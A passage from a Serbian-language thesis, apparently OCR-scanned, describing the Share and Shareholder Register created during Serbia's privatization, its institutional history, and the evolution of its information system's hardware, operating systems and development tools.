Ucesnici na finansijskom trziStu imaju za cilj trgovinu kapitalom preduzeca, tako i
drzavnim obveznicama, obveznicama stare devizne Stednje, kratkoro¢nim hartijama



od vrednosti, blagajnickim zapisima itd. Kontrolabilnu funkciju celokupnog
finansijskog trziSta vrSi Komisija za hartije od vrednosti [19]. Komisija propisuje
pravila ponaSanja na finansijskom trziStu 1 vrsi kontrolu sprovodenja svojih odluka. Za
svoj rad Komisija odgovara direktno Skupstini republike Srbije. Centralno mesto na
kome se ¢uvaju informacije o svim imaocima hartija od vrednosti u Srbiji je Centralni
registar, depo i kliring hartija od vrednosti [20]. U mnogim zemljama se funkcije ove
institucije operativno nalaze u viSe razli€itih institucija, 1 to na primer, Centralni depo
predstavlja jedenstvenu instituciju, dok se kliring i saldiranje obavlja u za to
specijalizovanim Klirin§kim kuéama ili bankama, ¢iji je to prevashodni zadatak.
Mesto na kome se obavlja najveci broj finansijskih transakcija, barem u Srbiji, jeste
finansijska berza. Obaveznost trgovanja na berzi ima opravdanja za zemlju kao Sto je
nasa, imajuci u vidu da se, i pored ubrzanog razvoja, naSe finansijsko trziste i dalje
nalazi u poc¢etnom stadijumu razvitka.

U zemljama razvijene trZiSne ekonomije, uzmimo za primer Sjedinjene Americke
Drzave, tek oko 5% svih finansijskih transakcija se odvija na finansijskoj berzi, dok se
sa oko 95% hartija od vrednosti trguje vanberzanski. Na ovom mestu je neophodno
pomenuti veoma vaZznu cCinjenicu, a to je da vanberzanska trgovina nikako ne
predstavlja stihijsko trgovanje, ve¢ postoji visokoorganizovano vanberzansko trziste,
koje ima precizna pravila koja se striktno kontroliSu i svaki eventualni prekrsaj
najrigoroznije sankcionise. U SAD ovu funkciju vrsi U.S. Security and Exchange
Commission - SEC, koja uziva veliki ugled i predstavlja jedan od najvecih autoriteta u
zemlji [21].

1.4 ULOGA REGISTRA AKCIJA | AKCIONARA U PROCESU
TRANZICIJE

Proces tranzicije podrazumeva prelazak iz socijalistickog drustveno-politickog
uredenja, sa politike planske odnosno dogovorne ekonomije, u Kkapitalisticki
drustveno-ekonomski poredak, sa sistemom trziSne ekonomije. Tranzicija, svakako,
predstavlja daleko slozeniji proces, ali su pomenuti aspekti najbitniji. Osnovna pojava,
koju u ovom trenutku posmatramo, je proces pretvaranja druStvene i drzavne svojine u
privatnu svojinu. Re¢ je 0 procesu privatizcije.

Ukoliko ovaj proces pokusamo da svedemo na informatic¢ki re¢nik, input u sistem
predstavlja druStveni ili drzavni kapital, dok output iz sistema predstavlja privatni
kapital podeljen na elementarne segmente - akcije ili pak uloge odnosno udele, u
zavisnosti od nacina pravnog organizovanja samog preduzeca.

Sam proces privatizacije, nije tema ovog izlaganja, te ¢e biti samo pomenuto da je to

propisana, Zakonom regulisana, procedura kojom se drustveni odnosno drzavni
kapital transformiSe u privatni.
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Namece se logicka potreba evidentiranja toka celokupnog procesa privatizacije, pa
samim tim i izlaznih parametara a to su u ovom slucaju akcije odnosno udeli kao i
njihovi vlasnici. Produkt koji se dobija je baza podataka koja sadrzi propisane podatke
o svakom vlasniku dela kapitala preduzeca u vidu akcija ili udela, kao i o broju i
nominalnoj vrednosti akcija odnosno vrednosti udela u posedu. Opisana baza
podataka, zajedno sa propisanim procedurama kao i organizacijom koja je realizuje,
nosi naziv Registar akcija i akcionara.

Na opisani naéin doslo se do precizne i nedvosmislene evidencije o Vvisini i strukturi
kapitala preduzeca, kao 1 o samim vlasnicima privatizovanih preduzeca.

1.4.1 ZNACAJ REGISTRA AKCIJA | AKCIONARA U
FUNKCIONISANJU FINANSIJSKOG TRZISTA

Uporedo sa procesom tranzicije u Srbiji, pocinje i razvoj finansijskog trzista, usled
stvaranja trziSnog materijala u procesu privatizacije. Obzirom da je i samo
finanasijsko trziSte nerazvijeno, javljaju se mnogobrojni problemi u njegovom
funkcionisanju. Jedan od kljuénih problema predstavlja problem nedvosmislenog
utvrdivanja vlasniStva nad hartijama od vrednosti kojima se trguje. 1z tih razloga je
Registar akcija i akcionara odigrao pionirsku i nezamenjivu ulogu na ovom polju.

U pocetnom stadijumu trgovanja, nedovoljno definisanih postupaka i zakonske
regulative, postignuta je izuzetno visoka efikasnost procesa trgovine hartijama od
vrednosti na finansijskoj berzi. Nakon formiranja Centralnog registra, depoa i kliringa
hartija od vrednosti, 1 dalje je zadrZan znac¢aj podataka obradenih u Registru akcija i
akcionara. Treba imati u vidu diskontinuitet u formiranju baze podataka zakonitih
imaoca akcija, a takode i ¢injenicu da su udeli, kao specifican finansijski materijal
ostali van evidencije Centralnog registra, depoa i kliringa hartija od vrednosti obzirom
da udeli nisu hartije od vrednosti, te se i dalje vode u Registru akcija i akcionara.

1.4.2 SPECIFICNOSTI PROCESA TRANZICIJE U SRBUJI

Tranzicija iz socijalistickog u kapitalisticko druStveno uredenje se javila kao fenomen
u svim zemljama bivSeg socijalizma, sa izuzetkom Kine koja taj proces neformalno
vrsi, kao i Kube i Severne Koreje u kojoj proces tranzicije nije ni zapocet. Proces se
odvijao uz obilje teskoc¢a i problema i to najviSe u sferi privrede. DoSlo je do
restuktuiranja privrede zemalja u tranziciji, Sto je dovelo do ogromnog broja
otpustenih radnika, a samim tim i stvaranja brojnih socijalnih problema.

U Srbiji je proces tranzicije tekao, i dalje tece, u znatno otezanim uslovima nego Sto je
to u ostalim zemljama bivSseg socijalizma. Osnovnu tesko¢u cini raspad bivse
Socijalisticke Federativne Republike Jugoslavije, koja je pracena secesijom bivsih
republika ¢lanica i $to je, na zalost, praceno viSegodisSnjim gradanskim ratom kako
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izmedu bivsih republika ¢lanica, tako i unutar samih bivsih republika ¢lanica. Rat je
doveo kompletan region u stanje krajnje ekonomske i psihosocijalne iznurenosti i
bacio je na margine evropskih integracija. Dodatni faktor, koji je ucinio da je
privredna aktivnosti gotovo potpuno zamrla su ekonomske sankcije medunarodne
zajednice nametnute Srbiji, koje su bile na snazi gotovo ¢itavu deceniju.

Sagledavajuci izneto, ocigledno je da je proces tranzicije u Srbiji bio i dalje jeste
izuzetno naporan, mucan i bolan proces.

1.43 OSNOVNE POSTAVKE FUNKCIONISANJA REGISTRA AKCIJA |
AKCIONARA

U informatickom smislu Registar akcija i akcionara predstavlja relacionu bazu
podataka ili ta¢nije sistem medusobno povezanih, relacionih baza podataka. Logika
baze podataka prati prirodnu logiku samog procesa koji se informaticki prati i
obraduje. Baza podataka je projektovana za mrezno okruzenje, shodno ¢injenici da je
neophodan simultani pristup podacima sa vise pristupnih tacaka.

Pored baze podataka, razvijen je i ¢itav niz aplikacija koje izvrSavaju funkcije nad
podacima u pomenutoj bazi podataka. Aplikacije su, u toku svog razvoja, pored
samog korisni¢kog interfejsa sadrzavale i sadrze citav opseg programskog koda
rasporedenog u funkcije i procedure. Pored programskog koda u aplikacijama se
nalazi i veliki broj SQL (Structured Query Language) upita, koji su generisani ,,ad
hoc* prema zahtevima korisnika koji su veoma raznovrsni i promenljivi usled same

......

su, iz razloga dinamic¢nosti zbivanja, ¢esto kori$¢eni samo za jednu upotrebu.

1.44 KOMUNIKACIJA REGISTRA SA OSTALIM UCESNICIMA
FINANSIJSKOG TRZISTA

Komunikacija Registra akcija i akcionara se, pre svega, svodi na komunikaciju sa
samim emitentima akcija. U isklju¢ivoj nadleznosti emitenata akcija je dostavljanje
kako inicijalnih podataka o svojim akcionarima, tako i dostavljanje odredenih
kategorija promena tih podataka, kao $to su promene mati¢nih podataka, nasledivanja
akcija 1 u nekim slu¢ajevima poklanjanje akcija.

Dalja komunikacija se odvija sa beogradskom berzom 1 to na dva nacina, posredno,
putem ovlas¢enih berzanskih posrednika, kao 1 neposredno - direkthom
komunikaciom sa Berzom, kao kontrolabilnim elementom izvrSenih transakcija.

Pored navedenih institucija, veoma intenzivha razmena podataka se odvija sa

Ministarstvom za privredu i privatizaciju, Agencijom za privatizaciju, kao i Akcijskim
fondom republike Srbije i Agencijom za registraciju privrednih subjekata. Smisao
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komuniciranja sa pomenute Cetiri institucije je neprekidno pracenje i1 usaglaSavanje
vlasnicke strukture u privatizovanim preduzec¢ima.

1.5 ORGANIZACIONI ASPEKTI REGISTRA AKCIJA | AKCIONARA

Registar akcija i akcionara je bilo neophodno organizovati kao poseban entitet u
okviru institucionalne strukture drzavne uprave. Registar predstavlja posebno
ustrojenu evidenciju, u skladu sa medunarodnim normama. Od samog pocetka je bilo
jasno da se ustrojstvo evidencije Registra akcija i akcionara mora izvrSiti u
elektronskom obliku, imajuéi u vidu procene o moguc¢em broju preduzeca koja ¢e biti
privatizovana, kao i o ocekivanom broju akcionara odnosno udelicara - suvlasnika
privatizovanih preduzeca.

Procene koje su se kretale na oko 2.500 potencijalnih subjekata privatizacije, kao i na
oko 1.000.000 akcionara koji bi po razli¢itim osnovama stekli akcije u preduze¢ima
koja se privatizuju, pokazale su se tane. Zahvaljuju¢i dobro procenjenom obimu
posla, formirana je odgovaraju¢a organizaciona struktura koja je u stanju da izvrsi
postavljeni zadatak.

1.5.1 ORGANIZOVANJE REGISTRA U MINISTARSTVU ZA
EKONOMSKU | VLASNICKU TRANSFORMACIJU

Prve evidencije preduzeca koja su prosla proces privatizacije, kao i njihovi akcionari
su formirane u Agenciji za procenu vrednosti drustvenog kapitala, koja kasnije menja
naziv u Agenciju za procenu vrednosti kapitala, a koja se tada nalazila pod direktnom
ingerencijom Vlade republike Srbije. Godine 1997. Vlada republike Srbije, na osnovu
novousvojenog Zakona o svojinskoj transformaciji, donosi odluku o formiranju
posebnog Ministarstva za ekonomsku 1 vlasnicku transformaciju u ¢ijem se sastavu
sada nalazi Direkcija (ranije Agencija) za procenu vrednosti kapitala. U okviru
Direkcije za procenu vrednosti kapitala formira se odeljenje Centralnog registra, sa
ciljem formiranja jedinstvene baze podataka akcionara i udelicara u Srbiji.

Pocetkom primene Zakona o svojinskoj transformaciji, dolazi do formiranja prvih
elektronskih baza podataka akcija i akcionara. Navedena ¢injenica je uslovljena
razvojem racunarske tehnologije, jer su se u to vreme pojavili PC rac¢unari klase 486
kao i Pentium Kkoji su u svojim procesorima i na svojim diskovima mogli da obrade
zeljenu koli¢inu podataka.
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1.5.2 RAD REGISTRA U MINISTARSVU ZA PRIVREDU |
PRIVATIZACIJU

Nakon demokratskih promena u oktobru 2000-te godine, na vlast dolazi dotadasnja
opozija, i poc¢etkom 2001 godine, u Skupstini republike Srbije, usvaja se novi Zakon o
privatizaciji. Istovremeno se osniva i resorno Ministarstvo za sprovodenje usvojenog
zakona - Ministarstvo za privredu i privatizaciju. Ono je nastalo fuzionisanjem
dotadasnjeg Ministarstva za ekonomsku 1 vlasnicku transformaciju i Ministarstva
privrede. Registar akcija i akcionara je funkcionisao u pomenutom Ministarstvu
veoma kratko vreme, svega nekoliko meseci, do osnivanja Agencije za privatizaciju.

1.5.3 FUNKCIONISANJE REGISTRA U AGENCIJI ZA PRIVATIZACIJU

Shodno Zakonu o privatizaciji [7], kao poseban subjekt privatizacije osnovan je
Privremeni registar akcija i akcionara, koji je radi efikasnijeg rada, organizaciono
smesten u novoosnovanoj Agenciji za privatizaciju. Sada se formira kompleksna baza
podataka, uz postovanje svih svetskih normativa i preporuka medunarodne zajednice.
Inspekciju 1 analizu celokupnog sistema je izvrSila americka kompanija
BakerMcKenzie, koja je dala pozitivnu ocenu celokupnog sistema i uvrstila Registar
akcija i akcionara iz Agencije za privatizaciju u katalog svetskih Centralnih registara
[22].

Registar akcija i akcionara u Agenciji za privatizaciju vrsi viSe funkcija i to :
evidentiranje akcionara iz procesa privatizacije, distribuciju akcija bez naknade u
procesu privatizacije, aktivno uce$c¢e na finansijskom trziStu uz intenzivnu saradnju sa
Beogradskom berzom 1 ovlaS¢enim berzanskim posrednicima, aktivnu informati¢ku
podrsu Akcijskom fondu republike Srbije i1 svakako aktivnu informatic¢ku podrsku
radu Ministarstva za privredu i privatizaciju, kao i obradu podataka za inicijalno
formiranje baze podataka Privatizacionog registra u Ministarstvu za privredu i
privatizaciju.
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GLAVA 2

INFORMACIONI SISTEM REGISTRA AKCIJA | AKCIONARA

Pocetnim analizama problema ¢uvanja 1 obrade velikog broja podataka doSlo se do
nedvosmislenog zaklju¢ka da je za efikasno vodenje Registra akcija i akcionara
neophodno koriS¢enja informacionih tehnologija. Stoga se pristupilo sagledavanju
mogucnosti koriS¢enja raCunara koje je nudio tadasnji nivo razvoja racunarske
tehnologije.

Osnovni limitiraju¢i faktor su predstavljali hardverski resursi koji su bili podeljeni u
dve osnovne kategorije [23] :

1. Mainframe racunari i

2. Personalni racunari

Mainframe racunari su hardverski sistemi koji se zasnivaju na jednom snaznom
racunaru, zavidnih procesorskih i memorijskih kapaciteta. Mainframe racunaru se
pristupa putem izdvojenih terminala, koji nemaju svoju, niti procesorsku, niti
memorijsku jedinicu. Terminali se, u svom radu, u potpunosti oslanjaju na na centralni
racunar. Treba imati u vidu ¢injenicu da su mainframe racunari izuzetno skupi kako za
nabavku, tako 1 za odrzavanje. Opisana vrsta raCunarske mreZe se napusta, osim u
nekim specifi¢nim slu¢ajevima. Sematski prikaz opisane mreze je dat na slici 2.1.

Personalni racunari, koji su tada bili u samom zacetku, tek su krcili sebi put na
raCunarskom trziStu. Razvojem PC rafunara i njihovim umreZavanjem, dobijaju se
efekti koji su jednaki ili prevazilaze pogodnosti koriS¢enja Mainframe raCunara.
Osnovna karakteristika mreze personalnih ra¢unara je nezavisnost svake jedinice, kao
1 posedovanje sopstvene procesorske i memorijske snage. Racunarska mreza koja se
ostvaruje koriSenjem presonalnih racunara se moze konfigurisati na viSe nadina.
Racunari se mogu povezati u radnu grupu, pri ¢emu su svi ucesnici u mrezi
ravnopravni 1 dele svoje resurse prema potrebama posla. Mogu¢i izgled topologije
mreze PC racunara u konceptu radne grupe je predstavljen na slici 2.2.
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Slika 2.1 Topologija mreze sa Mainframe raCunarom
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Workstaton
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Slika 2.2 Topologija mreze PC rac¢unara u konceptu radne grupe

Daljim razvitkom mreZe personalnih racunara doslo se do nove koncepcije, koja se u
velikoj meri priblizila koncepciji mainframe racunara. Naime, u mrezu je inkorporiran
poseban racunar - server, koji ima za cilj da kontroliSe pristup resursima mreze.
Osnovni server koji se nalazi u mrezi je primarni kontroler domena - PDC. U slucaju
da dode do otkaza u radu PDC-a u mrezu se povezuje pomo¢ni kotroler domena -
BDC, koji automatski preuzima funkciju PDC-a u slucaju njegovog otkaza. Dalje su u
mrezu dodavani 1 serveri za specificne namene, kao $to su
server, Web server, mail server, print server, ftp server, communication server, proxy
server, itd.

16

: fajl server, database



Osnovna prednost je Sto se domenska mreza moze konfigurisati prema specifi¢cnim
zahtevima korisnika 1 pruza znatno vecu sigurnost nego mreza radena na principu
radne grupe. Pravilo je da se u domenskoj mrezi moze nalaziti samo jedan PDC, dok
se ostali tipovi servera mogu javiti u viSe instanci. Broj i raspored ostalih tipova
servera zavise od specificnih zahteva 1 potreba mreze, kao i njene predvidene funkcije.
Administriranje domenskom mrezom je centralizovano, znatno je pouzdanije i
efikasnije nego administriranje radnom grupom. Kontrola raspolaganja resursima se
vrsi sa jednog mesta, Sto umnogome olakSava i pojednostavljuje kontrolu celokupnog
sistema. Moguca topologija jedne domenske mreZze moZe imati sledeci izgled :

Switch Workstaton

PDC

Workstaton

Workstaton
Slika 2.3 Topologija mreze PC ra¢unara u konceptu domena

Osnovna prednost personalnih rac¢unara se sastoji u modularnosti i znatno nizoj ceni u
odnosu na minframe racunare, dok osnovni nedostatak ¢ine, u posmatranom periodu,
relativno skromni racunarski kapaciteti. Ipak, treba uzeti u obzir €injenicu da vise
personalnih ra¢unara, iako manjih memorijskih i procesorskih kapaciteta, u mrezi daju
znatno bolje karakteristike iz razloga udruzivanja resursa.

Imajuéi u vidu iznete Cinjenice, ocigledno je da je razvoj informacionog sistema
Registra akcija i akcionara od samog pocetka bio limitiran postoje¢im hardverskim
resursima. Na osnovu zahteva procesa privatizacije i rada finansijskog trziSta formiran
je kompleks baza podataka pracen nizom aplikacija koje su radile nad formiranim
podacima i zadovoljavale potrebe Zakonom propisanih procesa i procedura u najvecoj
mogucoj meri.
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2.1 USLOVI NASTANKA INFORMACIONOG SISTEMA

Informacioni sistem je nastao u periodu burnih drustvenih i ekonomskih promena, sto
znaci da je bilo potrebno njegovo neprekidno prilagodavanje novonastalim uslovima.
Bilo je potrebno neprekidno informati¢ki pratiti promene zakonskih normi, kako bi se
obezbedila zakonitost procesa 1 postupaka za ¢ije su sprovodenje kori§¢ene racunarske
tehnologije.

Razvoj 1 implementacija sistema su bili determinisani : zakonskim, tehnickim 1
materijalnim moguc¢nostima. Na ovom mestu se mora konstatovati da su teSki
materijalni uslovi ¢esto diktirali evoluciju sistema 1 postavljali ograni¢enja njegovog
razvoja.

2.1.1 ZAKONSKE PRETPOSTAVKE

Zakonska regulativa koju je pratio i podrzavao informacioni sistem je raznolika i
vremenski razudena. Prvi Zakon kojim je zapocet proces privatizacije u tadasnjoj
SFRJ je Zakon o druStvenom kapitalu [28] kojim su definisani okviri za pocetak
privatizacije. Nakon toga u Republici Srbiji je donet Zakon o uslovima i postupku
pretvaranja druStvene svojine u druge oblike svojine [29], kojim je blize definisan
proces privatizacije u Srbiji. Dalje, 1997 godine je donet Zakon o svojinskoj
transformaciji [30], kojim je napravljen ostriji zahvat u dekompoziciju druStvene i
drzavne svojine. Ve¢ je pomenut Zakon o privatizaciji [16], koji je jo$ uvek na snazi i
koji ¢e definitivno okoncati proces privatizacije u Srbiji.

Uz postoje¢e zakonske propise, moraju se posStovati 1 medunarodni propisi i
preporuke, pre svega one koje dolaze od strane Evropske unije. Posebno treba imati u
vidu cinjenicu da stremljenja Srbije ka clanstvu u Evropskoj uniji zahtevaju
postovanje preporuka 1 standarda u $to ve¢oj meri.

Svi pomenuti zakoni su prac¢eni nizom podzakonskih akata, pravilnika 1 uputstava koji
su blize definisali same procese koji se odvijaju u okviru postojeCe zakonske
regulative. Svaki od navedenih segmenata je bilo neophodno informaticki analizirati,
projektovati, programirati, testirati i implementirati. Uporedo sa tim, neophodno je
bilo vrsiti i analizu i projektovanje hardverskih resursa u okviru kojih se softver
realizuje.

2.1.2 INSTITUCIONALNI OKVIRI
Uporedo sa donoSenjem novih zakona i zakonskih propisa dolazilo je i do formiranja
odgovarajucih institucija, koje su sprovodile donete zakonske mere. Proces formiranja

baze podataka Registra akcija i akcionara se odvijao u formiranim institucijama u
skladu sa vaze¢im zakonima.
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Razvoj evidencije akcija 1 akcionara je zapoCet u Agenciji za procenu vrednosti
drustvenog kapitala, a nastavio se u de facto istoj instituciji sa donekle izmenjenim
nadleznostima i izmenjenim nazivom Agencija za procenu vrednosti kapitala. Naime,
pomenuta Agencija nije viSe bila nadlezna samo za procenu vrednosti druStvenog
kapitla, ve¢ i za procenu vrednosti kapitala uopSte. Ovde se, pre svega, misli kako na
drzavni tako i na privatni kapital koji je dobijen prethodnom privatizacijom. Agencija
je bila samostalna organizacija formirana od strane Vlade republike Srbije, kojoj je i
odgovarala za svoj rad.

DonoSenjem Zakona o svojinskoj transformaciji [30], formirano je Ministarstvo za
ekonomsku 1 vlasnicku transformaciju. U okviru Ministarstva formirana je Direkcija
za procenu vrednosti kapitala, koju je zapravo €inila organizacija prethodne Agencije
za procenu vrednosti kapitala. U Direkciji za procenu vrednosti kapitala, formirana je
kvalitetna baza podataka akcija i njihovih vlasnika. Da bi se pospesio razvoj kvalitetne
evidencije, formiran je poseban Sektor Centralnog registra u okviru Direkcije.

Dalji razvoj evidencije i odgovarajue baze podataka je nastavljen kratko u
Ministarstvu za privredu i privatizaciju a ubrzo zatim u Agenciji za privatizaciju, u
posebno osnovanom Sektoru Privremenog registra. Privremeni registar je vrsio
poslove Centralnog registra do njegovog osnivanja. Sistem je sada ve¢ postao veoma
kompleksan, jer je obradivao podatke koji su poticali iz privatizacije po vise razli¢itih
osnova.

Nakon donoSenja Zakona o trzistu hartija od vrednosti i drugih finansijskih
instrumenata [18], doSlo je do formiranja Centralnog registra, depoa i kliringa hartija
od vrednosti, koji je preuzeo bazu podataka iz Registra akcija i akcionara, u skladu sa
svojim zakonskim ovlas¢enjima.

U Agenciji za privatizaciju je sa radom nastavio Sektor za evidenciju akcija i
akcionara iz procesa privatizacije a koji i dalje vodi celokupnu evidenciju Registra
akcija i akcionara, sa izuzetkom promena koje se deSavaju na finanasijskoj berzi i
drugim mehanizmima finansijskog trzista.

2.2 OSNOVNE POSTAVKE INFORMACIONOG SISTEMA

Od samog pocetka je bilo ocigledno da se prilikom reSavanja problema registrovanja
vlasni§tva nad kapitalom mora primeniti raCunarska tehnologija i to u najvecoj
mogucoj meri prilagodeno postoje¢im moguénostima. Pomenuti zakljucak je diktiran
zahtevom za obradu velikog broja podataka, koji bi bez primene racunarskih
tehnologija predstavljao veoma mukotrpan i nepouzdan proces.

Cinjenica koju je neophodno imati u vidu je ta da se greske u obradi moraju svesti na
minimum. Svaka, eventualna greSka, nosi sa sobom finansijske posledice koje nije
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lako ispraviti. Stoga je primena savremenih informatickih tehnologija bila 1 ostala
nuzna.

Radi ilustracije ocekivanog, a kasnije 1 realizovanog broja podataka, sistem je obradio
podatke za oko 2.500 preduzeca - izdavaoca akcija kao i za preko 1.000.000 akcionara
koji su stekli akcije u procesu privatizacije. Pored toga sistem je obradio preko
1.000.000 transakcija na finansijskoj berzi, do formiranja Centralnog registra, depoa i

kliringa hartija od vrednosti. Dinamika obrade podataka u Privremenom registru se
moze videti iz slede¢ih dijagrama :
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Septembar 2002
Septembar 2003
Septembar 2004
Septembar 2005

Slika 2.4 Kretanje broja obradenih preduzeca u bazi podataka
Registra akcija i akcionara
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Slika 2.5 Kretanje broja obradenih akcionara u bazi podataka
Registra akcija i akcionara
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Slika 2.6 Pregled broja obradenih transakcija u bazi podataka
Registra akcija i akcionara
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2.2.1 NACELA KOJA SU POSTOVANA PRILIKOM RAZVOJA SISTEMA

Prvo nacelo koje je poStovano prilikom razvoja informacionog sistema za pracenje
prvobitno privatizacije, a zatim 1 evidentiranje akcija i akcionara je nacelo zakonitosti.
Svaki postupak 1 svaka procedura, moraju u potpunosti biti u skladu sa vazecim
zakonskim propisima. Svako odstupanje od pomenutog nacela dovelo bi u pitanje
svrsishodnost primene informacionih tehnologija.

Pored toga, bilo je neophodno poStovati naela razvoja informacionih sistema, koja su
opStevazeCa. Razvoj raCunarskog sistema zavisi kako od hardverskih, tako 1 od
softverskih resursa u datom trenutku. Svaki od aspekata, kako hardverski tako i
softverski diktiraju svoja ogranicenja i namecu dalji razvojni tok.

Imajuéi u vidu €injenicu o neprekidnoj promeni kako zakonskih ograni€enja, tako 1
ubrzanog razvoja hardvera i softvera, pogotovo alata za razvoj i implementaciju baza
podataka, neprekidne promene se namecu kao jasan zaklju€ak. Ipak, nacela su 1 dalje
ostala zadovoljenje zakonitosti 1 prilagodavanje novim informatickim tehnologijama.

2.2.2 METODOLOSKI PRISTUP PROJEKTOVANJU SISTEMA

U racunarskom svetu postoji viSe pristupa razvoju i projektovanju informacionog
sistema. Imaju¢i u vidu cCinjenicu da je kompanija IBM prva krenula u razvoj
racunarskih tehnologija za komercijalne primene, samim tim je jasno da poseduju i
najbogatije iskustvo na tom polju. lako prvenstveno baziran na mainframe ra¢unarima,
kompanija IBM je kasnije sa upehom presla na PC tehnologiju, a u najnovije vreme
proizvodi veoma kvalitetne notebook racunare. Takode, operativni sistem 1 alati za
razvoj i obradu baza podataka koje je razvio IBM se i danas sa uspehom koriste.

Kao nova globalna korporacija, Microsoft je preuzeo primat u mnogim segmenitma
razvoja informacionih tehnologija. Ogroman napredak je postignut u razvoju
operativnih sistema, a narocito Internet tehnologija. Kao posebnu delatnost, Microsoft
je odvojio preporuke koje je neophodno poStovati prilikom vodenja informatickih
projekata. Tako se doSlo do skupa dokumetacije koja u sebi sublimira sva dosadasnja
iskustva na polju razvoja, a to je Microsoft Solutions Framework (MSF). Preporuke su
nastale kao rezultat viSegodiSnjeg istraZivanja i testiranja razliitih pristupa razvoju
informacionih sistema i baziraju se na bogatom iskustvu, pre svega IBM i Microsoft
korporacija. Osnovni elementi MSF pristupa projektovanju sistema se mogu videti iz
sledece ilustracije :
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Developing
Fhase

Slika 2.7 MSF model procesa, faze i kontrolne tacke

2.2.3 PRIMENA SVETSKIH ISKUSTAVA

Proces privatizacije u Srbiji se sprovodi nakon analognih procesa koji su vec
sprovedeni u zemljama bivSeg socijalizma. LoSa strana ove ¢injenice je da je naSa
zemlja u razvojnom zaostatku za ostalim zemljama koje su privatizacioni proces vec
okoncale. Dobra strana je to $to smo imali obilje tudih iskustava na kojima smo
zasnovali svoj koncept privatizacije. Treba imati na umu c¢injenicu da nije bilo
moguce jednostavno primeniti ve¢ postojeci model privatizacije iz neke druge zemlje
na naSe uslove, iz razloga specifi¢nosti svake zemlje ponaosob.

U svakom trenutku razvoja sistema koriS¢ene su, u datom trenutku, najsavremenije
razvojne metode i alati. Jedan od veoma koris¢enih softverskih alata, prilikom razvoja
logike informacionog sistema je UML metod u vidu paketa Rational Rose. Pomenuti
softverski paket u sebi sublimira vrhunska dostignuca na polju razvoja informacionih
sistema.

Logika razvoja baze podataka Registra akcija i akcionara je u potpunosti zasnovana na
svetskim iskustvima i to pre svega zemalja koje su prosle put sli¢an naSem, kao §to je
Slovenija. Pored toga, koriS¢ena su 1 iskustva razvijenijih zemalja koje su do
perfekcije razvile svoje evidencije akcija i akcionara, kao Sto je NorveSka i ostale
zemlje Evropske unije.

2.3 RAZVOJ INFORMACIONOG SISTEMA

Informacioni sistem Registra akcija i akcionara je razvijan visegodiSnjim sistematskim
radom i planiranjem, uz neprekidno prilagodavanje postavljenim zahtevima. Sistem je
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prolazio i prolazi kroz neprekidne transformacije u smislu postavljanja novih i
izmenama postojecih zahteva. Osnovne funkcije sistema se nisu menjale ve¢ su samo
prosirivane u smislu uskladivanja sa novim zakonskim propisima.

2.3.1 SISTEMSKA PLATFORMA ZA RAZVOJ

Na pocetku razvojnog ciklusa dominantan operativni sistem na PC ra¢unarima je bio
Microsoft-ov Disk Opearting System - DOS, dok je mrezno okruzenje podrzavao
oprativni sistem Novell. Novell je bio isklju¢ivo mrezni operativni sistem i instalirao
se na servere, dok su radne stanice radile pod DOS operativnim sistemom. Nesto
kasnije se pojavio Windows, ali ne kao opeartivni sistem, ve¢ kao grupa alata koja
olakSavaju rad sa DOS opeartivnim sistemom, Sto nije predstavljalo bitniji pomak u
odnosu na sam DOS operativni sistem.

Pojavom Windows-a 95, iako mnogo kritikovanog i nesporno punog nedostataka,
predstavljalo je znacajan korak napred. Operativni sistem Windows 95 je instaliran na
radnim stanicama, dok je na serveru i dalje ostao Novell operativni sistem koji je
podrzavao mrezni rad. Prelazak na novi oprativni sistem nije ostao bez problema.
Komunikacija izmedu Windows 95 radnih stanica i Novell servera je bila optere¢ena
mnogobrojnim zastojima. Osnovni uzrok lezi u C¢injenici da je Novell koristio
IPX/SPX protokol za mrezni rad, dok se Microsoft bazirao na TCP/IP protokolu. Sam
Microsoft je razvio softverska poboljSanja koja su u dobroj meri, ali nikad potpuno,
prevazisla opisani problem na Windows 95 platformi.

Kompanija Microsoft je razvila narednu verziju Windows operativhog sistema
namenjenog za mrezni rad i to je bio Windows NT 4.0. Novi Windows je doneo
znatna poboljSanja, pogotovo Sto se pojavio u dve verzije i to Windows NT 4.0.
Server i Windows NT 4.0. Workstation. Windows NT 4.0. Server je namenjen
podrsci mreznom radu dok je Windows NT 4.0. Workstation namenjen instalaciji na
radnim stanicama. Novi sistem je funkcionisao daleko bolje nego relacija Windows 95
- Novell.

Nakon Windows-a NT 4.0, razvijen je Windows 2000, takode u Server i Workstation
varijanti. On je doneo niz prednosti u odnosu na prethodno reSenje. Posebnu prednost
je predstavljalo mrezno okruzenje koje je daleko viSe prilagodeno komunikaciji u
multidomenskom okruzenju kao i konekciji putem Internet-a sa drugim rac¢unarskim
resursima. Treba imati na umu C¢injenicu da je sa otvaranjem sistema prema
spoljasnjem okruzenju doSlo i do povecanja opasnosti po bezbednost sistema.
Istovremeno dolazi do ubrzanog razvoja sistema zastite racunarskih resursa.

Najnoviji Microsoft-ov mrezni operativni sistem je Windows 2003, koji pored znatno

unapredenih komunikacionih funkcija, sadrzi u sebi ve¢ implementirane sigurnosne
mehanizme, koji su sami po sebi, podigli bezbednost sistema na visi nivo.
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2.3.2 RAZVOJNI ALATI

Uporedo sa razvojem operativnih sistema, u okviru razvoja softvera, razvijali su se
alati kako za razvoj baza podataka, tako 1 alati za razvoj aplikacija. Na samom pocetku
razvoja informacionog sistema kao osnovni razvojni alat koris¢en je Borland Pascal
7.0. U pomenutom alatu je razvijana DOS aplikacija, koja je istovremeno generisala i
obradivala bazu podataka. Baza podataka je formirana programskim komandama iz
aplikacije u specificnom formatu, prepoznatljivom samo razvijenoj aplikaciji. Za bilo
kakvo ocitavanje podataka iz fajlova koji u sebi sadrze podatke, bilo je neophodno
poznavanje ta¢ne strukture same baze, kao i1 posedovanje odgovaraju¢ih alata. Samo
programiranje je bilo relativno komplikovano, a samim tim i izmene kako strukture
podataka, tako i same aplikacije, koje su u pocetnom periodu bile veoma cCeste.

Daljim napretkom alata za razvoj baza podataka i aplikacija, prelazi se na savremeniji
alat Microsoft Access. Alat u sebi sadrzi mnoge olakSice kako u radu sa bazom
podataka tako i u projektovanju aplikativnog softvera koji radi nad projektovnom
bazom podataka. Razvojni paket je integrisan u kompaktnu celinu, kojoj se pristupa
preko jedinstvenog interfejsa. Razvijene su mnoge automatizovane procedure -
Wizard-i, koji su po automatizmu izvrSavali odredene postupke, bez zamaranja
programera. LoSe strane Wizard-a su te Sto su automatske procedure van kontrole
programera, te mogu izazvati i nezeljene posledice po softver.

Pojavom alata za razvoj i administriranje baza podataka Microsoft SQL Server 2000
